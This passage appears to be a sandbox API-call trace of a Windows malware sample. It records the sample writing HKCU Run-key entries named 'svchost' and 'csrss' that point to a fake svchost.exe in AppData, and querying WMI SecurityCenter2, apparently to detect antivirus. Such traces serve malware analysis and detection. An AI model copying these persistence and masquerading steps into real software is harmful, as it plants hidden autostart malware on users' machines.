	[0107.546] FlatSB_SetScrollProp (param_1=0x60162, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0107.546] FlatSB_SetScrollInfo (param_1=0x60162, code=0, psi=0x19fb72, fRedraw=1) returned 0
	[0107.547] FlatSB_GetScrollPos (param_1=0x60162, code=0) returned 0
	[0107.547] @ValidateHwnd@4 () returned 0x2423490
	[0107.547] _GetWindowLong () returned 0x6cf0000
	[0107.547] __SEH_epilog4 () returned 0x6cf0000
	[0107.547] @HMValidateHandle@8 () returned 0x2423490
	[0107.547] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.547] @ValidateHwnd@4 () returned 0x2423490
	[0107.547] _GetWindowLong () returned 0x6cf0000
	[0107.547] __SEH_epilog4 () returned 0x6cf0000
	[0107.547] @ValidateHwnd@4 () returned 0x2423490
	[0107.548] _GetWindowLong () returned 0x6cf0000
	[0107.548] __SEH_epilog4 () returned 0x6cf0000
	[0107.548] @HMValidateHandle@8 () returned 0x2423490
	[0107.548] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.548] @ValidateHwnd@4 () returned 0x2423490
	[0107.548] _GetWindowLong () returned 0x6cf0000
	[0107.548] __SEH_epilog4 () returned 0x6cf0000
	[0107.548] @ValidateHwnd@4 () returned 0x2423490
	[0107.548] _GetWindowLong () returned 0x6cf0000
	[0107.548] __SEH_epilog4 () returned 0x6cf0000
	[0107.549] @HMValidateHandle@8 () returned 0x2423490
	[0107.549] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.549] @ValidateHwnd@4 () returned 0x2423490
	[0107.549] _GetWindowLong () returned 0x6cf0000
	[0107.549] __SEH_epilog4 () returned 0x6cf0000
	[0107.549] @ValidateHwnd@4 () returned 0x2423490
	[0107.549] _GetWindowLong () returned 0x6cf0000
	[0107.549] __SEH_epilog4 () returned 0x6cf0000
	[0107.549] @HMValidateHandle@8 () returned 0x2423490
	[0107.549] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.550] @ValidateHwnd@4 () returned 0x2423490
	[0107.550] _GetWindowLong () returned 0x6cf0000
	[0107.550] __SEH_epilog4 () returned 0x6cf0000
	[0107.550] @ValidateHwnd@4 () returned 0x2423490
	[0107.550] _GetWindowLong () returned 0x6cf0000
	[0107.550] __SEH_epilog4 () returned 0x6cf0000
	[0107.550] @HMValidateHandle@8 () returned 0x2423490
	[0107.550] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.550] FlatSB_SetScrollProp (param_1=0x60162, index=0x100, newValue=0x0, param_4=0) returned 0
	[0107.550] FlatSB_SetScrollProp (param_1=0x60162, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0107.550] FlatSB_SetScrollInfo (param_1=0x60162, code=1, psi=0x19fb72, fRedraw=1) returned 0
	[0107.552] FlatSB_GetScrollPos (param_1=0x60162, code=1) returned 0
	[0107.552] @ValidateHwnd@4 () returned 0x2423490
	[0107.552] _GetWindowLong () returned 0x6cf0000
	[0107.552] __SEH_epilog4 () returned 0x6cf0000
	[0107.552] @HMValidateHandle@8 () returned 0x2423490
	[0107.552] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.552] @ValidateHwnd@4 () returned 0x2423490
	[0107.553] _GetWindowLong () returned 0x6cf0000
	[0107.553] __SEH_epilog4 () returned 0x6cf0000
	[0107.553] @HMValidateHandle@8 () returned 0x2423490
	[0107.553] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.553] @ValidateHwnd@4 () returned 0x2423490
	[0107.553] _GetWindowLong () returned 0x6cf0000
	[0107.553] __SEH_epilog4 () returned 0x6cf0000
	[0107.553] @HMValidateHandle@8 () returned 0x2423490
	[0107.554] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.554] FlatSB_SetScrollProp (param_1=0x60162, index=0x200, newValue=0x0, param_4=0) returned 0
	[0107.554] FlatSB_SetScrollProp (param_1=0x60162, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0107.554] FlatSB_SetScrollInfo (param_1=0x60162, code=0, psi=0x19fb72, fRedraw=1) returned 0
	[0107.554] FlatSB_GetScrollPos (param_1=0x60162, code=0) returned 0
	[0107.555] @ValidateHwnd@4 () returned 0x2423490
	[0107.555] _GetWindowLong () returned 0x6cf0000
	[0107.555] __SEH_epilog4 () returned 0x6cf0000
	[0107.555] @HMValidateHandle@8 () returned 0x2423490
	[0107.555] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.555] @HMValidateHandle@8 () returned 0x2423490
	[0107.555] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.556] @HMValidateHandle@8 () returned 0x2423490
	[0107.556] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.557] SetEvent (hEvent=0x124) returned 1
	[0107.557] Sleep (dwMilliseconds=0x0) 
	[0107.557] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Relatorio_Erros", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc58 | out: phkResult=0x19fc58*=0x0) returned 0x2
	[0107.558] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Relatorio_Erros", ulOptions=0x0, samDesired=0x20009, phkResult=0x19fc58 | out: phkResult=0x19fc58*=0x0) returned 0x2
	[0107.558] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Relatorio_Erros", ulOptions=0x0, samDesired=0x1, phkResult=0x19fc58 | out: phkResult=0x19fc58*=0x0) returned 0x2
	[0107.558] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x19fb54 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0
	[0107.560] CreateDirectoryA (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Relatorio_Erros" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\relatorio_erros"), lpSecurityAttributes=0x0) returned 1
	[0107.560] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x19fb54 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0
	[0107.560] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x19fb48, nSize=0x105 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti\\86976.exe")) returned 0x37
	[0107.560] Basep8BitStringToDynamicUnicodeString () returned 0x1
	[0107.560] Basep8BitStringToDynamicUnicodeString () returned 0x1
	[0108.137] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x19fb54 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0
	[0108.137] GetFileAttributesA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalRelatorio_Erros" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\localrelatorio_erros")) returned 0xffffffff
	[0108.137] SetFileAttributesA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalRelatorio_Erros", dwFileAttributes=0xffffffff) returned 0
	[0108.138] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x19fb54 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0
	[0108.138] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x19fc28, lpdwDisposition=0x19fc20 | out: phkResult=0x19fc28*=0x310, lpdwDisposition=0x19fc20*=0x2) returned 0x0
	[0108.138] RegSetValueExA (in: hKey=0x310, lpValueName="csrss", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0
	[0108.139] RegSetValueExA (in: hKey=0x310, lpValueName="svchost", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Relatorio_Erros\\svchost.exe\"", cbData=0x42 | out: lpData="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Relatorio_Erros\\svchost.exe\"") returned 0x0
	[0108.140] RegCloseKey (hKey=0x310) returned 0x0
	[0108.140] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Relatorio_Erros", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x19fc58, lpdwDisposition=0x19fc50 | out: phkResult=0x19fc58*=0x310, lpdwDisposition=0x19fc50*=0x1) returned 0x0
	[0108.140] GetVersionExA (in: lpVersionInformation=0x19fb8c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x19fbb0, dwMinorVersion=0x402515, dwBuildNumber=0x50c5cc, dwPlatformId=0x40251d, szCSDVersion="C") | out: lpVersionInformation=0x19fb8c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0108.140] CreateBindCtx (in: reserved=0x0, ppbc=0x19fb64 | out: ppbc=0x19fb64*=0x24d8d0) returned 0x0
	[0108.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x50196c, cbMultiByte=41, lpWideCharStr=0x19eb24, cchWideChar=2047 | out: lpWideCharStr="winmgmts:\\\\localhost\\root\\SecurityCenter2") returned 41
	[0108.140] MkParseDisplayName (in: pbc=0x24d8d0, szUserName="winmgmts:\\\\localhost\\root\\SecurityCenter2", pchEaten=0x19fb68, ppmk=0x19fb60 | out: pchEaten=0x19fb68, ppmk=0x19fb60*=0x26b998) returned 0x0
	[0108.588] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x250600
	[0108.589] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0108.589] DllGetClassObject (in: rclsid=0x26a6ec*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x770ac3c4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x19f958 | out: ppv=0x19f958*=0x2506c0) returned 0x0
	[0108.589] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2506c0
	[0108.589] WinMGMTS:IClassFactory:CreateInstance (in: This=0x2506c0, pUnkOuter=0x0, riid=0x774372dc*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19f900 | out: ppvObject=0x19f900*=0x268f58) returned 0x0
	[0108.589] GetVersionExW (in: lpVersionInformation=0x19f6c0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x19f720, dwMinorVersion=0x7768254f, dwBuildNumber=0xc0150008, dwPlatformId=0x770ab734, szCSDVersion="ᥠ眓") | out: lpVersionInformation=0x19f6c0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0108.589] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x19f6b8 | out: phkResult=0x19f6b8*=0x350) returned 0x0
	[0108.590] RegQueryValueExW (in: hKey=0x350, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x19f6b0, lpcbData=0x19f6bc*=0x4 | out: lpType=0x0, lpData=0x19f6b0*=0x3, lpcbData=0x19f6bc*=0x4) returned 0x0
	[0108.590] RegCloseKey (hKey=0x350) returned 0x0
	[0108.590] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x26d7a8
	[0108.590] GetSystemDirectoryW (in: lpBuffer=0x26d7a8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0108.590] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x77990000
	[0108.590] GetProcAddress (hModule=0x77990000, lpProcName="DuplicateTokenEx") returned 0x779b0c20
	[0108.590] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0108.590] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x26be70
	[0108.590] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x268f58
	[0108.591] WinMGMTS:IUnknown:Release (This=0x2506c0) returned 0x0
	[0108.591] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0108.591] IParseDisplayName:ParseDisplayName (in: This=0x268f58, pbc=0x24d8d0, pszDisplayName="winmgmts:\\\\localhost\\root\\SecurityCenter2", pchEaten=0x19fb18, ppmkOut=0x19fb14 | out: pchEaten=0x19fb18*=0x29, ppmkOut=0x19fb14*=0x26b998) returned 0x0
	[0108.591] ApiSetQueryApiSetPresence () returned 0x0
	[0108.591] _wcsnicmp (_String1="winmgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0
	[0108.591] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x244c10
	[0108.591] _wcsnicmp (_String1="\\", _String2="{", _MaxCount=0x1) returned -31
	[0108.591] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x26b4e8
	[0108.591] ResolveDelayLoadedAPI () returned 0x77138200
	[0108.591] CoCreateInstance (in: rclsid=0x747a1c98*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x747a1c88*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x26b500 | out: ppv=0x26b500*=0x268df8) returned 0x0
	[0108.681] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x26b650
	[0108.681] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x24e238
	[0108.681] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x244cb0
	[0108.681] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0108.681] _wcsnicmp (_String1="\\", _String2="[", _MaxCount=0x1) returned 1
	[0108.681] _wcsnicmp (_String1="\\", _String2="!", _MaxCount=0x1) returned 59
	[0108.681] CoCreateInstance (in: rclsid=0x747a1d94*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x747a1da4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x19f9f0 | out: ppv=0x19f9f0*=0x26d8a8) returned 0x0
	[0108.750] CoCreateInstance (in: rclsid=0x747a1d94*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x747a1da4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x19f9b0 | out: ppv=0x19f9b0*=0x26d918) returned 0x0
	[0108.750] WbemDefPath:IWbemPath:SetText (This=0x26d918, uMode=0x4, pszPath="\\\\localhost\\root\\SecurityCenter2") returned 0x0
	[0108.750] WbemDefPath:IUnknown:Release (This=0x26d918) returned 0x0
	[0108.750] SysStringLen (param_1="\\\\localhost\\root\\SecurityCenter2") returned 0x20
	[0108.750] WbemDefPath:IWbemPath:SetText (This=0x26d8a8, uMode=0x4, pszPath="\\\\localhost\\root\\SecurityCenter2") returned 0x0
	[0108.750] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x26d8a8, puCount=0x19f9b0 | out: puCount=0x19f9b0*=0x2) returned 0x0
	[0108.750] WbemDefPath:IWbemPath:GetText (in: This=0x26d8a8, lFlags=16, puBuffLength=0x19f9ac*=0x0, pszText=0x0 | out: puBuffLength=0x19f9ac*=0x15, pszText=0x0) returned 0x0
	[0108.750] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x254cd8
	[0108.750] WbemDefPath:IWbemPath:GetText (in: This=0x26d8a8, lFlags=16, puBuffLength=0x19f9ac*=0x15, pszText="" | out: puBuffLength=0x19f9ac*=0x15, pszText="root\\SecurityCenter2") returned 0x0
	[0108.750] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0108.750] WbemDefPath:IWbemPath:GetInfo (in: This=0x26d8a8, uRequestedInfo=0x0, puResponse=0x19f9d0 | out: puResponse=0x19f9d0*=0x24e02) returned 0x0
	[0108.750] WbemDefPath:IWbemPath:GetInfo (in: This=0x26d8a8, uRequestedInfo=0x0, puResponse=0x19f9c8 | out: puResponse=0x19f9c8*=0x24e02) returned 0x0
	[0108.750] WbemDefPath:IWbemPath:GetServer (in: This=0x26d8a8, puNameBufLength=0x19f9ac*=0x0, pName=0x0 | out: puNameBufLength=0x19f9ac*=0xa, pName=0x0) returned 0x0
	[0108.750] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x244ab0
	[0108.750] WbemDefPath:IWbemPath:GetServer (in: This=0x26d8a8, puNameBufLength=0x19f9ac*=0xa, pName="" | out: puNameBufLength=0x19f9ac*=0xa, pName="localhost") returned 0x0
	[0108.750] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0108.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0108.750] CoCreateInstance (in: rclsid=0x747a1d94*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x747a1da4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x19f870 | out: ppv=0x19f870*=0x26d918) returned 0x0
	[0108.750] SysStringLen (param_1="localhost") returned 0x9
	[0108.750] WbemDefPath:IWbemPath:SetServer (This=0x26d918, Name="localhost") returned 0x0
	[0108.751] CoCreateInstance (in: rclsid=0x747a1d94*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x747a1da4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x19f85c | out: ppv=0x19f85c*=0x26d988) returned 0x0
	[0108.751] CoCreateInstance (in: rclsid=0x747a1d94*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x747a1da4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x19f81c | out: ppv=0x19f81c*=0x26d9f8) returned 0x0
	[0108.751] WbemDefPath:IWbemPath:SetText (This=0x26d9f8, uMode=0x4, pszPath="root\\SecurityCenter2") returned 0x0
	[0108.751] WbemDefPath:IUnknown:Release (This=0x26d9f8) returned 0x0
	[0108.751] SysStringLen (param_1="root\\SecurityCenter2") returned 0x14
	[0108.751] WbemDefPath:IWbemPath:SetText (This=0x26d988, uMode=0xc, pszPath="root\\SecurityCenter2") returned 0x0
	[0108.751] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x26d988, puCount=0x19f854 | out: puCount=0x19f854*=0x2) returned 0x0
	[0108.751] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x26d918) returned 0x0
	[0108.751] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x26d988, uIndex=0x0, puNameBufLength=0x19f894*=0x0, pName=0x0 | out: puNameBufLength=0x19f894*=0x5, pName=0x0) returned 0x0
	[0108.751] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2507e0
	[0108.751] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x26d988, uIndex=0x0, puNameBufLength=0x19f894*=0x5, pName="懀眊懤眊䢘" | out: puNameBufLength=0x19f894*=0x5, pName="root") returned 0x0
	[0108.751] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0108.751] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x26d918, uIndex=0x0, pszName="root") returned 0x0
	[0108.751] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x26d988, uIndex=0x1, puNameBufLength=0x19f894*=0x0, pName=0x0 | out: puNameBufLength=0x19f894*=0x10, pName=0x0) returned 0x0
	[0108.751] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x24ca18
	[0108.751] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x26d988, uIndex=0x1, puNameBufLength=0x19f894*=0x10, pName="SupportedNameSpa" | out: puNameBufLength=0x19f894*=0x10, pName="SecurityCenter2") returned 0x0
	[0108.751] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0108.751] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x26d918, uIndex=0x1, pszName="SecurityCenter2") returned 0x0
	[0108.751] WbemDefPath:IUnknown:Release (This=0x26d988) returned 0x0
	[0108.751] WbemDefPath:IWbemPath:GetText (in: This=0x26d918, lFlags=4, puBuffLength=0x19f894*=0x0, pszText=0x0 | out: puBuffLength=0x19f894*=0x21, pszText=0x0) returned 0x0
	[0108.751] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x264bb8
	[0108.751] WbemDefPath:IWbemPath:GetText (in: This=0x26d918, lFlags=4, puBuffLength=0x19f894*=0x21, pszText="\\??\\C:\\Windows\\system32\\wbem\\Logs" | out: puBuffLength=0x19f894*=0x21, pszText="\\\\localhost\\root\\SecurityCenter2") returned 0x0
	[0108.751] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0108.751] WbemDefPath:IUnknown:Release (This=0x26d918) returned 0x0
	[0108.751] WbemLocator:IWbemLocator:ConnectServer (in: This=0x268df8, strNetworkResource="\\\\localhost\\root\\SecurityCenter2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x19f8fc | out: ppNamespace=0x19f8fc*=0x264c98) returned 0x0
	[0110.864] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2803e0
	[0110.865] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x24dc98
	[0110.865] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x282030
	[0110.865] IUnknown:QueryInterface (in: This=0x264c98, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19f8ec | out: ppvObject=0x19f8ec*=0x281db4) returned 0x0
	[0110.865] IClientSecurity:QueryBlanket (in: This=0x281db4, pProxy=0x264c98, pAuthnSvc=0x19f8cc, pAuthzSvc=0x19f8d0, pServerPrincName=0x0, pAuthnLevel=0x19f910, pImpLevel=0x19f900, pAuthInfo=0x0, pCapabilites=0x19f8c8 | out: pAuthnSvc=0x19f8cc*=0xa, pAuthzSvc=0x19f8d0*=0x0, pServerPrincName=0x0, pAuthnLevel=0x19f910*=0x6, pImpLevel=0x19f900*=0x2, pAuthInfo=0x0, pCapabilites=0x19f8c8*=0x1) returned 0x0
	[0110.865] IUnknown:Release (This=0x281db4) returned 0x1
	[0110.865] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0110.869] IUnknown:QueryInterface (in: This=0x264c98, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19f934 | out: ppvObject=0x19f934*=0x281db4) returned 0x0
	[0110.869] IClientSecurity:CopyProxy (in: This=0x281db4, pProxy=0x264c98, ppCopy=0x19f94c | out: ppCopy=0x19f94c*=0x264978) returned 0x0
	[0110.869] IUnknown:QueryInterface (in: This=0x264978, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19f818 | out: ppvObject=0x19f818*=0x281db4) returned 0x0
	[0110.869] IClientSecurity:QueryBlanket (in: This=0x281db4, pProxy=0x264978, pAuthnSvc=0x19f848, pAuthzSvc=0x19f844, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x19f848*=0xa, pAuthzSvc=0x19f844*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0
	[0110.869] IUnknown:Release (This=0x281db4) returned 0x3
	[0110.869] IUnknown:QueryInterface (in: This=0x264978, riid=0x747a1f78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19f7fc | out: ppvObject=0x19f7fc*=0x281dd8) returned 0x0
	[0110.870] IUnknown:QueryInterface (in: This=0x264978, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19f800 | out: ppvObject=0x19f800*=0x281db4) returned 0x0
	[0110.870] IClientSecurity:SetBlanket (This=0x281db4, pProxy=0x264978, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0110.870] IUnknown:Release (This=0x281db4) returned 0x4
	[0110.870] IUnknown:Release (This=0x281dd8) returned 0x3
	[0110.870] IUnknown:Release (This=0x281db4) returned 0x2
	[0110.870] IUnknown:AddRef (This=0x264978) returned 0x3
	[0110.870] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x24dd58
	[0110.870] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x278078
	[0110.870] IUnknown:Release (This=0x264c98) returned 0x2
	[0110.870] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0110.870] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0110.870] IUnknown:QueryInterface (in: This=0x264978, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19f984 | out: ppvObject=0x19f984*=0x281db4) returned 0x0
